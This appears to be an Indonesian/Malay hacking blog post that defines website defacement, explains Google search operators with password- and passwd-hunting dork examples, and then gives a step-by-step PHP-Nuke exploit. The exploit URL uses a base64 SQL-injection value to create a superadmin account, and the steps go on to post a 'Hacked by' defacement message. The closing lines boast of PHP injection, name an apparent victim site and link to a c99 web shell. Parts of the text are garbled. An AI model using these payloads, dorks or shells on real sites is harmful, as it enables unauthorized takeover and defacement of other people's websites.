Deface adalah kegiatan mengubah halaman website orang lain tanpa sepengetahuan orang tersebut pastilanya ini adalah kejahatan dunia cyber. Deface terkenal juga dengan sebutan cybergraditti yaitu corat-coret website tertentu. Deface itu dilakukan dengan memanfaatkan kelemahan dari website tersebut.
Google digunakan sebagai salah satu mesin pencari yang powerfull untuk mencari informasi yang tepat dan akurat. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, terlepas dari tujuan itu baik atau buruk. Di bawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting. Perintah – perintah tersebut antara lain :

1. intitle:
”intitle:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yang dimaksud.
Sebagai contoh pada pencarian, ”intitle: password admin” (tanpa tanda kutip). Pencarian akan mencari page yang mengandung kata ”password” sebagai judulnya dengan prioritas utama ”admin”.

Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks ”allintitle:” untuk pencarian secara lengkap. Sebagai contoh pada pencarian ”allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu ”admin” dan ”mdb”.

2. inurl:
”inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl: database mdb”.

Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang ”database mdb”. Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks ”allinurl:” untuk mendapatkan list url tersebut.

Sebagai contoh pencarian ”allinurl: etc/passwd” , pencarian akan menghasilkan URL yang mengandung informasi tentang ”etc” dan ”passwd”. Tanda garis miring slash (/) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.

3. site:
”site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: ”waveguide site:ugm.ac.id” (tanpa tanda kutip). Pencarian akan mencari topik tentang waveguide pada semua halaman yang tersedia pada domain ugm.ac.id.

4. cache:
”cache:” akan menunjukkan daftar web yang telah masuk ke dalam indeks database Google, yang berhasil didapatkan oleh Google Crawler. Sebagai contoh:
”cache:detik..com”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page detik..com.

5. filetype:
”filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian : ”filetypedf” ”Linux Hacking” (tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi ”.pdf” yang mengandung kata Linux dan Hacking.

6. link:
”link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list web pages yang memiliki link pada web page special. Sebagai contoh: ”link:www.detik..com” akan menunjukkan daftar web page yang memiliki point link pada halaman situs Detik.

7. related:
Sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan.Sebagai contoh: ”related:www.detik..com”, pencarian akan memberi daftar web page yang serupa dengan homepage Detik.

8. intext:
Sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :
”intext:admin” (tanpa tanda kutip), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.

Dengan menggunakan beberapa kata kunci di atas, Google akan menjadi ”pedang” yang bisa dimanfaatkan untuk menggali informasi yang tersembunyi, tak terduga, bahkan sangat penting bagi suatu pihak. Beberapa pihak yang rajin melakukan auditing (pemeriksaan) keamanan suatu sistem melalui jaringan internet biasanya menggunakan google sebagai sarana praktis untuk footprinting (penggalian data sistem yang akan diaudit). Pada kesempatan mendatang, akan kita coba menguak beberapa rahasia yang bisa didapat, hanya dengan google dan kecerdasan otak kanan kita.

Langkah-langkah nya :
1.www.target.com/nuke/index.phpatauwww.target.com/phpnuke/index.php

2.www.target.com/nuke/admin.php=> yg diatas tadi diubah menjadi admin.php

3. Masukkan bug ini di belakang link tadi :
?op=AddAuthor&add_aid=hacker&add_name=God&add_pwd=komando_trg&add_email=
king_burger@yahoo.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox
Misalnya :www.target.com/nuke/admin.php?op=AddAuthor&add_aid=hacker&add_name=God&add_pwd=komando_trg&add_
email=king_burger@yahoo.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjoxKalo x jadi bererti link tsb sudah di patch oleh admin nya.
Tapi kalo berhasil, maka di url/browsing munculwww.target.com/nuke/admin.php?op=mod_author


5. Masukan id & password tadi. Masih ingat kan ? lihat yg di atas tadi !
username : hacker
password : komando_trg

6. Kalo sudah masuk ke "Administration Menu" link tsb. Bererti korg udah menguasai link tsb skrg.
Skrg kamu pilih gambar Handphone (dibawahnya ada tulisan Messages).
Kolom Title : Hacked by nama nick kamu
Kolom Content : Path your web !!!
Hey admin.......do you a need help ?
Matrix.Dal.Net - #Target.org
colomn Expiration : Unlimited
Trus klik tab Add Messages yg ada dibawah.

7. Kalo udah, buka url/browsing baru lalu masukkan link target tadi, misal nya :www.target.com/nuke/index.phpatauwww.target.com/phpnuke/index.php.Kalo xde ada hasil nya cuba klik tab Refresh yg ada diatas disamping url/browsing.

ASAS:-
slalunyer attack mggunakan teknik yg dipggil php injection..
aku akan inject mna2 coding php yg bocor..
n then aku guna kan shell utk inject file dkt mne2 web..
contohnyerwww.lm-precision.co.uk
nieh shell aku.. [url]c99http://www.geocities.com/revlon_rulz/c99.txt[/url]

Read more:http://blogs.myspace.com/index.cfm?fuseaction=blog.view&friendId=360647448&blogId=486111789#ixzz14K5JwuYs